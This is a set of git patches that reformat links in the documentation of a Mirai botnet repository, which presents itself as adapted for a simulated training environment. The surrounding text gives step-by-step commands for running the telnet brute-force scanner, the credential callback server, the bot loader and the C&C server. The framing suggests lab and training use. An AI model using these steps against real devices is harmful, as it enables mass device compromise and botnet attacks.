From ce1ffdbd509323ae3722d2df70b07030fdd621fb Mon Sep 17 00:00:00 2001 From: Joshua Lee Date: Mon, 31 Oct 2022 09:32:12 +1000 Subject: [PATCH 1/3] Update README.md --- README.md | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/README.md b/README.md index 2aad4c1..6ef65fd 100644 --- a/README.md +++ b/README.md @@ -2,15 +2,15 @@ The Mirai malware modified for use on NCL/a virtual/simulated environment. -How to setup: [setup-instructions.md](setup-instructions.md) +How to setup: [`setup-instructions.md`](setup-instructions.md) Requires: - MySQL - Go (for building) -How to attack: [attack-instructions.md](attack-instructions.md) +How to attack: [`attack-instructions.md`](attack-instructions.md) -Scanner and Loader instructions: [scanner-and-loader-instructions.md](scanner-and-loader-instructions.md) +Scanner and Loader instructions: [`scanner-and-loader-instructions.md`](scanner-and-loader-instructions.md) ## Credits - [Mirai-Source-Code](https://github.com/jgamblin/Mirai-Source-Code) From 44c462a29eab78ab8b2b2669a98ca475f857a79b Mon Sep 17 00:00:00 2001 From: Joshua Lee Date: Mon, 31 Oct 2022 09:34:34 +1000 Subject: [PATCH 2/3] Update scanner-and-loader-instructions.md --- scanner-and-loader-instructions.md | 10 +++++----- 1 file changed, 5 insertions(+), 5 deletions(-) diff --git a/scanner-and-loader-instructions.md b/scanner-and-loader-instructions.md index 735e464..e8e3ced 100644 --- a/scanner-and-loader-instructions.md +++ b/scanner-and-loader-instructions.md @@ -4,20 +4,20 @@ run the bot with the last argument set as `1` * arguments: `sudo ./debug/mirai.dbg ` * e.g. `sudo ./debug/mirai.dbg 10.0.0.1 10.0.0.2 10.0.0.1 1` - * you can also edit [mirai/demo-bot.sh](mirai/demo-bot.sh) to enable the flag for you + * you can also edit [`mirai/demo-bot.sh`](mirai/demo-bot.sh) to enable the flag for you using the debug, telnet version, the bot will generate random ip addresses and check if a telnet daemon is running on port 23. it will then use its hardcoded list of logins to try to gain access to the device. - * the list of logins is in `scanner_init()` in [mirai/bot/scanner.c](mirai/bot/scanner.c) (use the `enc` tool to convert strings into the required format if you want to add new logins) - * the range of ip addresses it generates can be set here: `get_random_ip()` in [mirai/bot/scanner.c](mirai/bot/scanner.c) + * the list of logins is in `scanner_init()` in [`mirai/bot/scanner.c`](mirai/bot/scanner.c) (use the `enc` tool to convert strings into the required format if you want to add new logins) + * the range of ip addresses it generates can be set here: `get_random_ip()` in [`mirai/bot/scanner.c`](mirai/bot/scanner.c) ### Running the callback server if successful, the bot will then report the vulnerable ip address, along with its login credentials to the callback server. - * a simple callback server is found here: [mirai/tools/scanListen.go](mirai/tools/scanListen.go), it is built as `scanListen` + * a simple callback server is found here: [`mirai/tools/scanListen.go`](mirai/tools/scanListen.go), it is built as `scanListen` * run it as: `sudo ./debug/scanListen` * it listens on port `48102` ### Running the single loader the single loader takes a list of input ip addresses, login credentials, and a binary to transmit (usually the bot itself). it then logs into each device on the list and uses telnet to transmit the binary. finally, it then launches the binary with the specified arguments. - * it is found here: [mirai/tools/single_load.c](mirai/tools/single_load.c) and is built as `single_load` + * it is found here: [`mirai/tools/single_load.c`](mirai/tools/single_load.c) and is built as `single_load` * run it as: `./debug/single_load (debug mode)` * e.g. `./debug/single_load 10.0.0.1 ./debug/input.txt ./debug/mirai.dbg "10.0.0.1 10.0.0.2 10.0.0.1 0" 1 1 1` (having the last argument, of any value, means that it runs in debug mode) From 8cdb47793e053c04f70467bfb4e2d3ca51aac863 Mon Sep 17 00:00:00 2001 From: Joshua Lee Date: Mon, 31 Oct 2022 09:35:54 +1000 Subject: [PATCH 3/3] Update setup-instructions.md --- setup-instructions.md | 12 ++++++------ 1 file changed, 6 insertions(+), 6 deletions(-) diff --git a/setup-instructions.md b/setup-instructions.md index fbf9b71..9405946 100644 --- a/setup-instructions.md +++ b/setup-instructions.md @@ -26,7 +26,7 @@ We'll need to update the `sources.list` to get `apt-get` working (only applies t ### Installation Instructions for Running cnc (assumes you have already built it) 1. install mysql: `sudo apt-get install mysql-server mysql-client` * make sure you set the root password as `root` during the installation -2. run [scripts/db.sql](scripts/db.sql) in the mysql shell +2. run [`scripts/db.sql`](scripts/db.sql) in the mysql shell ``` $ mysql -u root -p @@ -47,13 +47,13 @@ We'll need to update the `sources.list` to get `apt-get` working (only applies t 4. restart mysql: `sudo service mysql restart` 5. run the cnc: `sudo ./cnc` 6. in order to access the cnc, use `telnet localhost` (assumes you are telnet-ing on the cnc machine) -7. use `username: root` and `password: root` to login (as defined in [scripts/db.sql](scripts/db.sql)) -8. refer to [attack-instructions.md](attack-instructions.md) for how to launch an attack +7. use `username: root` and `password: root` to login (as defined in [`scripts/db.sql`](scripts/db.sql)) +8. refer to [`attack-instructions.md`](attack-instructions.md) for how to launch an attack ### Instructions for Running bot (assumes you have already built it) 1. run the bot: `sudo ./debug/mirai.dbg ` (assumes you have built the debug version) * e.g. `sudo ./debug/mirai.dbg 10.0.0.1 10.0.0.2 10.0.0.1 0` - * you can use [mirai/demo-bot.sh](mirai/demo-bot.sh) that automatically finds the ip address of eth0 (be sure to change the hardcoded cnc and callback ip addresses) + * you can use [`mirai/demo-bot.sh`](mirai/demo-bot.sh) that automatically finds the ip address of eth0 (be sure to change the hardcoded cnc and callback ip addresses) ### Installation Instructions for Building 1. install golang @@ -62,7 +62,7 @@ We'll need to update the `sources.list` to get `apt-get` working (only applies t $ sudo apt-get update $ sudo apt-get install golang ``` -2. run [scripts/cross-compile.sh](scripts/cross-compile.sh) (needs root) +2. run [`scripts/cross-compile.sh`](scripts/cross-compile.sh) (needs root) 3. add export paths in `~/.bashrc` (you may need to restart bash after this step) ``` add the following lines: @@ -74,7 +74,7 @@ We'll need to update the `sources.list` to get `apt-get` working (only applies t 5. install go packages * `go get github.com/go-sql-driver/mysql` * `go get github.com/mattn/go-shellwords` -6. build using [mirai/build.sh](mirai/build.sh) +6. build using [`mirai/build.sh`](mirai/build.sh) * e.g. `mirai/build.sh debug telnet` * only the debug, telnet version has been tested * output files will be in the `debug` folder, with `cnc` and `mirai.dbg` (the bot)